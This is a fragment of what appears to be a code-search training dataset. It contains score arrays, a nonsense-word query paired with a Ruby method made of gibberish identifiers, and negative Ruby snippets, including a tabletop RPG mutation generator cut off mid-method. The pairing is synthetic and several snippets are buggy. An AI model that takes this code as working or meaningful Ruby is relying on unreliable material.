like","value":["0.6395623","0.6353127","0.6230603","0.61252326","0.60700786","0.6040567","0.59767646","0.5972901","0.59265953","0.5911123","0.5830733","0.5799758","0.5757478","0.57496893","0.5731631","0.57275647","0.5717806","0.57137996","0.5711544","0.5674952","0.5664083","0.56514966","0.5646031","0.5643066","0.56375885","0.56215245","0.5615989","0.561441","0.561386","0.56121004","0.5589861","0.5589325","0.5587459","0.55854976","0.55854124","0.557868","0.5572915","0.5563301","0.5561878","0.55579704","0.55540603","0.5552728","0.55502456","0.55486923","0.55383533","0.5537773","0.55357724","0.5531033","0.55306756","0.55306756","0.55066866","0.55024844","0.54911715","0.54911715","0.5488478","0.54871523","0.54871523","0.54871523","0.5482191","0.5479346","0.54700243","0.5467575","0.54669696","0.5462069","0.5455523","0.5454518","0.5450756","0.54492885","0.5447844","0.544505","0.5443799","0.542594","0.5423694","0.542208","0.541775","0.541775","0.54034114","0.5398764","0.5397883","0.53916186","0.5385768","0.53830385","0.53807837","0.537003","0.53700286","0.53654164","0.53603345","0.5354116","0.53537536","0.5352201","0.53520197","0.5345644","0.53453755","0.53443766","0.53399533","0.53370667","0.5333493","0.5331904","0.5316575","0.5315454","0.5314629"],"string":"[\n \"0.6395623\",\n \"0.6353127\",\n \"0.6230603\",\n \"0.61252326\",\n \"0.60700786\",\n \"0.6040567\",\n \"0.59767646\",\n \"0.5972901\",\n \"0.59265953\",\n \"0.5911123\",\n \"0.5830733\",\n \"0.5799758\",\n \"0.5757478\",\n \"0.57496893\",\n \"0.5731631\",\n \"0.57275647\",\n \"0.5717806\",\n \"0.57137996\",\n \"0.5711544\",\n \"0.5674952\",\n \"0.5664083\",\n \"0.56514966\",\n \"0.5646031\",\n \"0.5643066\",\n \"0.56375885\",\n \"0.56215245\",\n \"0.5615989\",\n \"0.561441\",\n \"0.561386\",\n \"0.56121004\",\n \"0.5589861\",\n \"0.5589325\",\n \"0.5587459\",\n \"0.55854976\",\n \"0.55854124\",\n \"0.557868\",\n \"0.5572915\",\n \"0.5563301\",\n \"0.5561878\",\n \"0.55579704\",\n \"0.55540603\",\n \"0.5552728\",\n \"0.55502456\",\n \"0.55486923\",\n \"0.55383533\",\n \"0.5537773\",\n \"0.55357724\",\n \"0.5531033\",\n \"0.55306756\",\n \"0.55306756\",\n \"0.55066866\",\n \"0.55024844\",\n \"0.54911715\",\n \"0.54911715\",\n \"0.5488478\",\n \"0.54871523\",\n \"0.54871523\",\n \"0.54871523\",\n \"0.5482191\",\n \"0.5479346\",\n \"0.54700243\",\n \"0.5467575\",\n \"0.54669696\",\n \"0.5462069\",\n \"0.5455523\",\n \"0.5454518\",\n \"0.5450756\",\n \"0.54492885\",\n \"0.5447844\",\n \"0.544505\",\n \"0.5443799\",\n \"0.542594\",\n \"0.5423694\",\n \"0.542208\",\n \"0.541775\",\n \"0.541775\",\n \"0.54034114\",\n \"0.5398764\",\n \"0.5397883\",\n \"0.53916186\",\n \"0.5385768\",\n \"0.53830385\",\n \"0.53807837\",\n \"0.537003\",\n \"0.53700286\",\n \"0.53654164\",\n \"0.53603345\",\n \"0.5354116\",\n \"0.53537536\",\n \"0.5352201\",\n \"0.53520197\",\n \"0.5345644\",\n \"0.53453755\",\n \"0.53443766\",\n \"0.53399533\",\n \"0.53370667\",\n \"0.5333493\",\n \"0.5331904\",\n \"0.5316575\",\n \"0.5315454\",\n \"0.5314629\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.0"},"document_rank":{"kind":"string","value":"-1"}}},{"rowIdx":171987,"cells":{"query":{"kind":"string","value":"Anemotropic cardinalitial adulate pullulant palaeolatry blithelike"},"document":{"kind":"string","value":"def drupal(counterquartered, pantryman)\n ulua()\n nonremonstrance_novial_tautoousian(englishly_lamboys)\n dissert_dilleniaceous(contralto_morne, geniohyoglossal, aptotic_inherency)\n end"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def anchored; end","def superweening_adorningly(counterstand_pyrenomycetales)\n end","def wtfpyra (a)\n\t\tfullpyra (a)\n\t\treversefullpyra (a)\n\tend","def pal_per(input)\n counts = count_chars(input)\n if input.length % 2 == 0\n even_pal_per(counts)\n else\n odd_pal_per(counts)\n end\nend","def rule_3 *cards\n if cards.all?(&:face?)\n puts \"Upping the anti! #{cards.map(&:face?)}\"\n cards.raw_integer_value + 50\n end\n end","def emotional_adjective; end","def two_opt(shake)\n perm = Array.new(shake)\n c1, c2 = rand(perm.size), rand(perm.size)\n collection = [c1]\n collection << ((c1 == 0 ? perm.size - 1 : c1 - 1))\n collection << ((c1 == perm.size - 1) ? 0 : c1 + 1)\n c2 = rand(perm.size) while collection.include? (c2)\n c1, c2 = c2, c1 if c2 < c1\n # +++ reverses in range\n perm[c1...c2] = perm[c1...c2].reverse\n perm\n end","def silly_adjective; end","def difficultly(qoph_ridding, fadedness_santalaceae)\n biopsychologist_hamidian_tachardiinae()\n inigo()\n huddock_konde(phrenitic, mistake, condurango_cymoscope)\n end","def king_richard_iii; end","def nonstriker_perimartium(pronunciation_crotched)\n end","def is_palindrome_permutation()\n puts \"not implemented\"\nend","def new_bathroom_code(input)\n wonky_number_pad = {\n 1 => [2, 2],\n 2 => [1, 1],\n 3 => [2, 1],\n 4 => [3, 1],\n 5 => [0, 0],\n 6 => [1, 0],\n 7 => [2, 0],\n 8 => [3, 0],\n 9 => [4, 0],\n \"A\" => [1, -1],\n \"B\" => [2, -1],\n \"C\" => [3, -1],\n \"D\" => [2, -2]\n }\n new_code = []\n x, y = [0, 0]\n input.each do |button|\n button.each_char do |char|\n if char == \"U\" && y < 1 && x != 0 && x != 4\n y += 1\n elsif char == \"U\" && y < 2 && x == 2\n y += 1\n elsif char == \"D\" && y > -1 && x > 0 && x < 4\n y -= 1\n elsif char == \"D\" && (y > -2 && x == 2)\n y -= 1\n elsif char == \"R\" && x < 3 && y != 2 && y != -2\n x += 1\n elsif char == \"R\" && (x < 4 && y == 0)\n x += 1\n elsif char == \"L\" && x > 1 && y != 2 && y != -2\n x -= 1\n elsif char == \"L\" && (x > 0 && y == 0)\n x -= 1\n end\n end\n new_code << wonky_number_pad.key([x, y])\n end\n new_code.join\nend","def diaphony_choriambize()\n symbranch(constrictive, ither)\n end","def take_bath\n self.hygiene += 4\n return \"♪ Rub-a-dub just relaxing in the tub ♫\"\n @hygiene\n end","def point_mutation(bitstring, rate=1.0/bitstring.size)\n # print \"*\"\t\t# YKY added\n child = \"\"\n bitstring.size.times do |i|\n bit = bitstring[i].chr\n child << ((rand() < rate) ? ((bit=='1') ? \"0\" : \"1\") : bit)\n end\n return child\nend","def primordial; end","def permute_word(word)\n word2 = word.clone\n if word.length > 3\n p = crp(word.length - 2, 1)\n 1.upto(word.length - 2) {|i| word2[p[i]] = word[i]}\n end\n word2\nend","def take_bath\n self.hygiene += 4\n return \"♪ Rub-a-dub just relaxing in the tub ♫\"\n end","def take_bath\n self.hygiene += 4\n return \"♪ Rub-a-dub just relaxing in the tub ♫\"\n end","def p_burglary\n flip(0.001, :B, :notB)\nend","def pirates_say_arrrrrrrrr(string)\n new_string = \"\"\n add_next = false\n string.size.times do |index|\n char = string[index]\n new_string << char if add_next\n add_next = (char == \"r\" || char == \"R\")\n end\n new_string\n\n\nend","def pikapika\n puts \"▕▔╲┊┊┊┊┊┊┊╱▔▏┊┊┊\".colorize(:yellow)\n puts \"┊╲╱╲┊┊┊┊┊╱╲╱┊┊┊┊\".colorize(:yellow)\n puts \"┊┊╲┈╲▂▂▂╱┈╱┊┊┊╱╲\".colorize(:yellow)\n puts \"┊┊╱┈┈┈┈┈┈┈╲┊┊╱┈┈╲\".colorize(:yellow)\n puts \"┊┊▏▕▆▍▂▕▆▍▕┊╱┈┈┈╱\".colorize(:yellow)\n puts \"┊▕╭╮┈┳┻┳┈╭╮▏╲┈┈╱\".colorize(:yellow)\n puts \"┊┊╲╯┈╰━╯┈╰╱┊╱┈┈╲\".colorize(:yellow)\n puts \"┊┊╱┈┈┈┈┈┈┈╲┊╲┈┈┈╲\".colorize(:yellow)\n puts \"┊▕╲┈▕┈┈┈▏┈╱▏┊╱┈╱\".colorize(:yellow)\n puts \"┊▕┈▔▔┈┈┈▔▔┈▏╱┈╱┊\".colorize(:yellow)\n puts \"┊▕┈┈┈┈┈┈┈┈▕▔┈╱┊┊\".colorize(:yellow)\n puts \"┈┈╲┈┈┈┈┈┈┈╱▔▔┈┈┈\".colorize(:yellow)\n puts \"┈┈▕▂╱▔▔▔╲▂▏┈┈┈┈┈\".colorize(:yellow)\n #art from: http://textart4u.blogspot.com/2012/04/pikachu-text-art-ascii-art.html\nend","def fly_by(lamps, drone)\n # Good luck\n out = ''\n switched = drone.length\n diff = lamps.length - drone.length\n\n switched.times do \n out += 'o'\n end\n\n diff.times do \n out += 'x'\n end\n\n out\nend","def prime_mutation_determination(roll)\n case roll\n when 1..9\n @@primary_mutations << \"Acid Blood\"\n @@attacks << {:attack_mode => \"Acid blood spray\", :SV => 20, :rate => 1, :range => 2, :damage => \"d12\", :ammo => \"infinite\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \"60\", :notes => \"automatic on melee or point-blank puncturing attack\"}\n\n when 10..20\n @@primary_mutations << \"Acid Spit\"\n @@attacks << {:attack_mode => \"Acid Spit\", :SV => 6, :rate => 1, :range => 6, :damage => \"d6 + 2 per dround for d6 rounds\", :ammo => \"2/day\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \"60\", :notes => \"does same damage to ropes, bars, locks, etc.\"}\n when 21..32\n @@primary_mutations << \"Advanced Mind\"\n @@intelligence += (d(10 + d(10) + d(10)))\n @@character_notes << \"character gains two hazard checks against insanity and mental attacks that require hazard checks\"\n\n when 33..36\n @@primary_mutations << \"Agony Sphere\"\n @@attacks << {:attack_mode => \"Agony Sphere\", :SV => \"auto\", :rate => 1, :range => (@@willpower/2), :damage => \"d6 + +10DV to targets\", :ammo => \"1/day per user rank\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \"60\", :notes => \"requires 3 full rounds of concentration to unleash; can be sustained for 1 rd/willpower point\"}\n\n when 37..44\n @@primary_mutations << \"Amphibian\"\n @@character_notes << \"Can breathe as well in water as air\"\n @@character_notes << \"Suffers d3 dmg per day in arid environments\"\n\n when 45..52\n @@primary_mutations << \"Amplification\"\n @@character_notes << \"Doubles daily/rank-based rate of limited-use mutations\"\n\n when 53..59\n @@primary_mutations << \"Aquatic Adaptation\"\n @@character_notes << \"Webbed hands and feet\"\n @@character_notes << \"Withstands cold 2x vs. humans\"\n @@character_notes << \"Must be fully immersed in water 1hr per day or suffer d3 dmg; d6 in desert areas\"\n\n when 60..71\n @@primary_mutations << \"Arid Adaptation\"\n @@dv -= 3\n @@appearance = [@@appearance - d(8), 1].max\n @@character_notes << \"Needs 1/10th as much water as pure stock human\"\n @@character_notes << \"Specialized organ holds 2 liters drinking water (can yak up in 250 or 500ml portions)\"\n\n when 72..79\n @@primary_mutations << \"Asphyxiation Zone\"\n @@attacks << {:attack_mode => \"Asphyxiation Zone\", :SV => \"auto\", :rate => 1, :range => (@@willpower * 2), :damage => \"d10\", :ammo => \"2/day per user rank\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \"61\", :notes => \"lasts 2 rounds per rank\"}\n\n when 80..89\n @@primary_mutations << \"Aura of Protection\"\n @@character_notes << \"2 uses / rank / day; DV -10 + 10 pt force field dmg soak per round; duration willpower rounds; 2 rounds to activate\"\n\n when 90..102\n @@primary_mutations << \"Ballistic Hide\"\n @@dv -= 4\n @@appearance = [@@appearance - d(4), 1].max\n @@character_notes << \"Additional -20DV vs. blunt/crushing attacks including non-AP bullets\"\n\n when 103..109\n @@primary_mutations << \"Beak\"\n @@appearance = [@@appearance - (d(6) + d(6)), 1].max\n @@attacks << {:attack_mode => \"Beak\", :SV => 10, :rate => 1, :range => 1, :damage => \"d12\", :ammo => \"infinite\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \"61\", :notes => \"\"}\n @@character_notes << \"Character cannot speak clearly\"\n\n when 110..127\n @@primary_mutations << \"Beam Eyes\"\n @@attacks << {:attack_mode => \"Beam Eyes\", :SV => 15, :rate => 1, :range => (@@willpower + @@perception), :damage => \"10 + d6/rank\", :ammo => \"2 / rank / day\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \"61\", :notes => \"\"}\n\n when 128..134\n @@primary_mutations << \"Berserker Rage\"\n @@character_notes << \"Berserker Rage: 2/day/rank usage; duration 1 battle; -5DV, +10SV, +10dmg (melee weapons only); +20 strength; can fight on for d6 rounds after suffering fatal damage\"\n when 135..144\n @@primary_mutations << \"Bladed Limbs\"\n def bladed_limbs_location(roll)\n case roll\n when 1 then result = \"Shoulder\"\n when 2 then result = \"Back\"\n when 3 then result = \"Chest\"\n when 4 then result = \"Side\"\n when 5 then result = \"Hip\"\n when 6 then result = \"Abdomen\"\n end\n end\n\n d(4).times do\n bladed_limbs_location(d(6))\n @@character_notes << \"Sword-like bone blade protruding from #{result}\"\n @@appearance = [@@appearance - 2, 1].max\n @@character_weight += 5\n end\n\n @@attacks << {:attack_mode => \"Bladed limb(s)\", :SV => 5, :rate => \"1 per bladed limb\", :range => 0, :damage => \"d12 + 2\", :ammo => \"infinite\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \"62\", :notes => \"\"}\n\n\n when 145..149\n @@primary_mutations << \"Blurred Movement\"\n @@character_notes << \"Blurred Movement: -20DV; willpower rounds/day; can be used to blur entire body or only parts\"\n\n when 150..179\n @@character_notes << \"Due to body disporportion, no relic shell armor can be worn, but other types can be modified to fit\"\n def body_disproportion_location(roll)\n case roll\n when 1\n @@primary_mutations << \"Body Disproportion: Dominant arm is massive!\"\n @@character_notes << \"Dominant arm has strength of #{(@@strength + @@strength + d(20) + d(20))} which applies to all 1- and 2-handed melee weapons character wields\"\n @@appearance = [@@appearance - d(4), 1].max\n @@move -= 0.5\n @@character_weight += (20 + d(20))\n when 2\n @@primary_mutations << \"Body Disproportion: Character's head is massive!\"\n @@intelligence += (d(20) + 20)\n @@move -= 1\n @@appearance = [@@appearance - (d(4) + d(4)), 1].max\n @@character_notes << \"TWO intelligence-based hazard checks, when called for\"\n @@character_weight += (20 + d(10))\n when 3\n @@primary_mutations << \"Body Disproportion: Upper body incredibly over-muscled!\"\n @@strength += (20 + d(20))\n @@endurance += (20 + d(20))\n @@move -= 1\n @@agility = [@@agility - d(10), 1].max\n @@appearance = [@@appearance - (d(4) + d(4)), 1].max\n @@character_weight += (20 + d(20) + d(20))\n when 4\n @@primary_mutations << \"Body Disproportion: hips and legs are twice normal length!\"\n @@move += @@move\n @@character_height += 100\n @@appearance = [@@appearance - d(4), 1].max\n @@attacks << {:attack_mode => \"Wicked kick\", :SV => 0, :rate => \"1\", :range => 0, :damage => \"2d10\", :ammo => \"infinite\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \"62\", :notes => \"\"}\n @@character_weight += (30 + d(20) + d(20))\n when 5\n @@primary_mutations << \"Body Disproportion: comically giant hands and feet!\"\n @@attacks << {:attack_mode => \"Punch or kick\", :SV => 0, :rate => \"1\", :range => 0, :damage => \"2d12\", :ammo => \"infinite\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \"62\", :notes => \"\"}\n @@character_notes << \"Weapons with triggers, keyboards, or other items requiring normal human hands are unusable without modifying item.\"\n @@appearance = [@@appearance - (d(6) + 1), 1].max\n @@character_weight += (d(6) + d(6) + d(6) + d(6))\n when 6\n @@primary_mutations << \"Body Disproportion: extra long arms!\"\n @@character_notes << \"+5 SV in melee combat\"\n @@character_notes << \"+5 thrown weapon DMG\"\n @@appearance = [@@appearance - (d(4) + 1), 1].max\n when 7\n @@primary_mutations << \"Body Disproportion: greatly elongated torso!\"\n @@character_notes << \"If pregnant, gives birth to a litter of d4 + 1 offspring.\"\n @@endurance += (d(10) + d(10))\n @@appearance = [@@appearance - d(6), 1].max\n @@character_height += (20 + d(20))\n @@character_weight += (10 + d(20))\n def elongated_torso_bonus(roll1, roll2, roll3, roll4) # need to add actual mutation results via primary_mutations_roll(xx)\n case roll1\n when 1..50\n @@primary_mutations << \"Reserve heart\"\n end\n case roll2\n when 1..65\n @@primary_mutations << \"Radiation absorption\"\n end\n case roll3\n when 1..37\n @@primary_mutations << \"Breath holding\"\n end\n case roll4\n when 1..72\n @@primary_mutations << \"Nutriment cache\"\n end\n\n end\n elongated_torso_bonus(d(100),d(100),d(100),d(100))\n when 8\n 2.times do\n elongated_torso_bonus(d(7))\n end\n end\n\n end\n body_disproportion_location(d(8))\n\n when 180..195\n def body_regeneration_rate(roll)\n case roll\n when 1..12\n @@endurance_healing_rate += 4\n when 13..32\n @@endurance_healing_rate += 7\n when 33..40\n @@endurance_healing_rate += 10\n when 41..64\n @@endurance_healing_rate = 15\n when 65..87\n @@endurance_healing_rate = \"1 pt per hour\"\n when 88..93\n @@endurance_healing_rate = \"2 pts per hour\"\n when 94..96\n @@endurance_healing_rate = \"4 pts per hour\"\n when 97..98\n @@endurance_healing_rate = \"6 pts per hour\"\n when 99\n @@endurance_healing_rate = \"10 pts per hour\"\n when 100\n @@endurance_healing_rate = \"1 pt per round\"\n end\n end\n body_regeneration_rate(d(100))\n @@primary_mutations << \"Body Regeneration: #{@@endurance_healing_rate} healing rate bonus\"\n\n when 196..201\n @@primary_mutations << \"Breath Holding: triple base endurance rate + regular breath holding rate (Hub Rules p. 122)\"\n when 202..224\n @@primary_mutations << \"Claws: don’t hinder her from using bows, crossbows, or weapons that use a trigger, but disallow her from using keyboards or doing fne electronics work\"\n @@attacks << {:attack_mode => \"Claw\", :SV => 7, :rate => \"1 per hand\", :range => 0, :damage => \"d12 each\", :ammo => \"infinite\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \"62-63\", :notes => \"\"}\n @@character_notes << \"Thanks to claws, character climbs as though she has 2 points in Climbing skill\"\n when 225..230\n @@primary_mutations << \"Climbing Suckers: like a gecko, character can climb on anything at 1/2 move\"\n @@character_notes << \"When falling, type A agility based hazard check to catch side of building/pit and stop fall\"\n when 231..239\n @@primary_mutations << \"Coma Inducement\"\n @@attacks << {:attack_mode => \"Coma inducement\", :SV => 0, :rate => \"\", :range => @@willpower + @@willpower, :damage => \"coma\", :ammo => \"2/day/rank\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \"63\", :notes => \"victim gets tybe B willpower based hazard check; see p. 63 for details\"}\n when 240..253\n number_of_pincers = 0\n arms_too = \"True\"\n pincer_size = \"Small\"\n def pincer_formation_on_mutant(roll)\n case roll\n when 1..2\n @@primary_mutations << \"Crab Pincers: 1 pincer replacing 1 arm\"\n number_of_pincers += 1\n @@character_weight -= 15\n when 3..6\n @@primary_mutations << \"Crab Pincers: 2 pincers replacing both human arms\"\n number_of_pincers += 2\n @@character_weight -= 30\n when 7\n @@primary_mutations << \"Crab Pincers: 1 pincer growing from shoulder, both human arms intact\"\n number_of_pincers += 1\n when 8..9\n @@primary_mutations << \"Crab Pincers: 2 pincers in addition to human arms\"\n number_of_pincers += 2\n when 10\n number_of_pincers = (2 + d(2))\n def arms_too(roll)\n case roll\n when 79..100\n arms_too = \"False\"\n @@character_weight -= 30\n end\n end\n @@primary_mutations << \"Crab Pincers: #{number_of_pincers} total\"\n arms_too(d(100))\n end\n end\n def pincer_size(roll)\n case roll\n when 1..3\n pincer_size = \"Small\"\n @@character_weight += (number_of_pincers * 15)\n @@attacks << {:attack_mode => \"Pincer\", :SV => 2, :rate => \"#{number_of_pincers}\", :range => 0, :damage => \"d10 + 1\", :ammo => \"infinite\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \"63\", :notes => \"\"}\n when 4..6\n pincer_size = \"Medium\"\n @@movement_rate_base -= (0.25 * number_of_pincers)\n @@character_weight += (number_of_pincers * 20)\n @@attacks << {:attack_mode => \"Pincer\", :SV => 4, :rate => \"#{number_of_pincers}\", :range => 0, :damage => \"d12 + 3\", :ammo => \"infinite\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \"63\", :notes => \"\"}\n when 7..9\n pincer_size = \"Large\"\n @@movement_rate_base -= (0.5 * number_of_pincers)\n @@character_weight += (number_of_pincers * 35)\n @@attacks << {:attack_mode => \"Pincer\", :SV => 7, :rate => \"#{number_of_pincers}\", :range => 0, :damage => \"d20 + 3\", :ammo => \"infinite\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \"63\", :notes => \"\"}\n when 10\n pincer_size = \"Massive\"\n @@movement_rate_base -= (0.75 * number_of_pincers)\n @@character_weight += (number_of_pincers * 50)\n @@attacks << {:attack_mode => \"Pincer\", :SV => 10, :rate => \"#{number_of_pincers}\", :range => 0, :damage => \"d20 + 10\", :ammo => \"infinite\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \"63\", :notes => \"\"}\n end\n end\n\n pincer_formation_on_mutant(d(10))\n pincer_size(d(10))\n @@primary_mutations << \"Pincers: #{number_of_pincers} of #{pincer_size} size\"\n if arms_too == \"False\"\n @@appearance = [@@appearance - (number_of_pincers * d(4) + 2), 1].max\n @@character_notes << \"No human arms - character cannot use triggers, keyboards, or complex items\"\n elsif arms_too == \"True\"\n @@appearance = [@@appearance - (number_of_pincers * d(4)), 1].max\n end\n\n\n when 254..292\n def deviant_skin_structure(roll)\n case roll\n when 1..3\n @@primary_mutations << \"Fire-proof skin\"\n @@character_notes << \"No damage from fire for 10 rounds; 1/2 damage after\"\n @@character_notes << \"1/2 damage from explosions\"\n when 4..5\n @@primary_mutations << \"Reflective skin\"\n @@character_notes << \"1/2 damage from beam weapons when clothed; 70 percent resistance to beam weapons vs. bare skin\"\n @@appearance += d(6)\n when 6..7\n @@primary_mutations << \"Alkaline skin\"\n @@character_notes << \"Character totally immune to acid attacks (which still ruin character's gear)\"\n when 8..10\n @@primary_mutations << \"Weather sensitive skin\"\n @@character_notes << \"Sense weather changes in 20km radius; can sense open bodies of water within 2 km\"\n when 11\n @@primary_mutations << \"Glow in the dark skin\"\n @@character_notes << \"3m radius green glow; visible up to 12km away - character can't turn off glow\"\n when 12\n @@primary_mutations << \"Photosynthetic skin\"\n @@character_notes << \"4 hrs in sunlight = 1 meal; 1 hr in sunlight = 3 pts healing (in addition to normal resting healing)\"\n end\n end\n deviant_skin_structure(d(12))\n\n when 293..298\n @@primary_mutations << \"Devastator Pulse\"\n @@attacks << {:attack_mode => \"Devastator Pulse\", :SV => (@@accuracy + @@willpower), :rate => \"4 rounds to charge, release on 5th\", :range => @@willpower, :damage => \"3d20 / d100 + 40 vs. machines\", :ammo => \"1/rank/day\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \"64\", :notes => \"\"}\n\n when 299..300\n @@primary_mutations << \"Displacement\"\n @@character_notes << \"Displacement: #{@@willpower} rounds per day, DV -30\"\n when 301..305\n @@primary_mutations << \"Doom Sphere\"\n @@attacks << {:attack_mode => \"Doom Sphere\", :SV => \"01-95\", :rate => \"1/10 days\", :range => (@@willpower * 10), :damage => \"3d20 vs organics; 6d20 vs electronics\", :ammo => \"infinite\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \"64\", :notes => \"User must make intelligence type B hazard check or go insane for 1 hour (p. 126)\"}\n when 306..314\n @@primary_mutations << \"Dread Zone\"\n @@attacks << {:attack_mode => \"Dread Zone\", :SV => \"01-95\", :rate => 1, :range => @@intelligence, :damage => \"tybe B hazard check vs. intelligence or +10SV to attack\", :ammo => \"1/rank/day\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \"64\", :notes => \"Duration: rank in rounds; does not affect inorganic beings or creatures with morale = n/a\"}\n when 315..322\n @@primary_mutations << \"Earth Thump\"\n @@attacks << {:attack_mode => \"Earth Thump\", :SV => (@@willpower + 30), :rate => \"3 rounds to generate\", :range => @@willpower, :damage => \"d10/user rank\", :ammo => \"2/day/rank\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \"64\", :notes => \"Targets 1 human-sized enemy per rank of user (assuming multiple targets close together)\"}\n when 323..341\n @@primary_mutations << \"Electrical Charge\"\n @@attacks << {:attack_mode => \"Electrical Charge\", :SV => 20, :rate => \"1\", :range => 0, :damage => \"d20 + HC\", :ammo => \"2/day/rank\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \"64\", :notes => \"Victim makes END-based tybe B hazard check or stunned for d3 rounds\"}\n @@character_notes << \"Four Electrical Charge jolts are suffcient to fully re-charge a standard power cell.\"\n when 342..349\n @@primary_mutations << \"Electrical Pulse\"\n @@attacks << {:attack_mode => \"Electrical Pulse\", :SV => 20, :rate => 1, :range => (@@willpower), :damage => \"d20 / 3d20 vs machines\", :ammo => \"3/day/rank\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \"65\", :notes => \"Can be used to start fires as well\"}\n when 350..355\n @@primary_mutations << \"Electro Magnetic Pulse\"\n @@attacks << {:attack_mode => \"Electro Magnetic Pulse\", :SV => 30, :rate => 1, :range => @@willpower, :damage => \"d10/d100 vs electronics\", :ammo => \"2/day/rank\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \"65\", :notes => \"\"}\n when 356..376\n @@primary_mutations << \"Empathy\"\n @@character_notes << \"Empathy: #{@@willpower} range. Unlimited uses. The subject is allowed a type C, intelligence based hazard check. If failed, mutant knows victim's emotions. Alternately, emotions can be projected.\"\n when 377..388\n @@primary_mutations << \"Energy Blade\"\n def energy_blade_type(roll) # table Hub Rules p. 65\n case roll\n when 1..20\n @@attacks << {:attack_mode => \"Energy Blade: Blue\", :SV => 10, :rate => 1, :range => 1, :damage => \"d12\", :ammo => \"#{@@willpower} rounds\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \"65\", :notes => \"2/day/rank\"}\n when 21..40\n @@attacks << {:attack_mode => \"Energy Blade: Green\", :SV => 10, :rate => 1, :range => 1, :damage => \"d20 stun\", :ammo => \"#{@@willpower} rounds\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \"65\", :notes => \"2/day/rank\"}\n when 41..65\n @@attacks << {:attack_mode => \"Energy Blade: Red\", :SV => 10, :rate => 1, :range => 1, :damage => \"d20\", :ammo => \"#{@@willpower} rounds\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \"65\", :notes => \"2/day/rank\"}\n when 66..85\n @@attacks << {:attack_mode => \"Energy Blade: Orange\", :SV => 10, :rate => 1, :range => 1, :damage => \"2d20 stun\", :ammo => \"#{@@willpower} rounds\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \"65\", :notes => \"2/day/rank\"}\n when 86..97\n @@attacks << {:attack_mode => \"Energy Blade: Purple\", :SV => 10, :rate => 1, :range => 1, :damage => \"2d20\", :ammo => \"#{@@willpower} rounds\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \"65\", :notes => \"2/day/rank\"}\n when 98..99\n @@attacks << {:attack_mode => \"Energy Blade: White\", :SV => 10, :rate => 1, :range => 1, :damage => \"d100 stun\", :ammo => \"#{@@willpower} rounds\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \"65\", :notes => \"2/day/rank\"}\n when 100\n @@attacks << {:attack_mode => \"Energy Blade: Gold\", :SV => 10, :rate => 1, :range => 1, :damage => \"d100\", :ammo => \"#{@@willpower} rounds\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \"65\", :notes => \"2/day/rank\"}\n end\n end\n if @@primary_mutations.include? \"Energy Blade\" # Note: NO duplication -- reroll if this result comes up twice.\n @@primary_mutations_rolls += 1\n else\n energy_blade_type(d(100))\n end\n\n when 389..401\n @@primary_mutations << \"Extreme Size Decrease\"\n @@character_height = (22 + d(20) + d(20)) # NOTE: should be dependent on GENDER, ignored that.\n 3.times @@skills << \"Stealth\"\n 2.times @@skills << \"Climbing\"\n @@character_notes << \"Cannot wield two-handed weapons. Normal one-handed weapons including pistols must be employed with both hands (except knifes and daggers, which are considered swords for this mutant)\"\n @@character_notes << \"Relic armor cannot be worn except scrap relic.\"\n def extreme_size_decrease(height) # Hub Rules p. 65\n case height\n when 22..27\n @@character_weight = (15 + d(10))\n @@agility += 20\n @@movement_rate_base == 4.5\n @@strength = [@@strength - 15, 1].max\n @@endurance = [@@endurance - 10, 1].max\n when 28..35\n @@character_weight = (20 + d(12))\n @@agility += 15\n @@movement_rate_base = 5\n @@strength = [@@strength - 10, 1].max\n @@endurance = [@@endurance - 7, 1].max\n when 36..45\n @@character_weight = (25 + d(20))\n @@agility += 10\n @@movement_rate_base = 5.5\n @@strength = [@@strength - 5, 1].max\n @@endurance = [@@endurance - 5, 1].max\n when 46..65\n @@character_weight = (30 + d(20) + d(20))\n @@agility += 7\n @@movement_rate_base = 6\n @@strength = [@@strength - 3, 1].max\n @@endurance = [@@endurance - 3, 1].max\n end\n end\n\n extreme_size_decrease(@@character_height)\n\n when 402..419\n def fang_size(roll) # Hub rules p. 65\n case 